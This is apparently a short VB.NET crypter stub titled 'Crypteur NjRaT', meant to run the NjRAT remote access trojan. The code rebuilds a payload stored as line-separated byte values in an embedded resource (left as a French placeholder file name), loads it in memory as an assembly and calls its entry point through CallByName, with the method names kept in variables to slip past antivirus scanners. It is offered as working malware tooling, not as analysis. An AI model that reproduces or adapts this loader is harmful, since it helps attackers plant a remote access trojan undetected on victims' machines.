Crypteur NjRaT

Public Class Form1

Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles myBase.Load
RichTexBox1.Text = My.Resources.NOM-DE-VOTRE-FICHIER
Dim aa As String() = RichTexBox1.Lines
Dim bb(aa.Length - 1) As Byte
Dim cc As Integer = 0
'So
For Each line In aa
bb(cc) = Val(line.ToString)
cc += 1
Next
'clean entry point
Dim red0 As String = "Entrypoint"
Dim red1 As String = "invoke"
Dim red3 As Object = AppDomain.CurrentDomain.Load(bb)
Dim red4 As Object = Interaction.CallByName(red3, red0, CallType.Get)
Dim red5 As Object = Interaction.CallByName(red4, red1, CallType.Method, Nothing, Nothing)
End Sub
End Class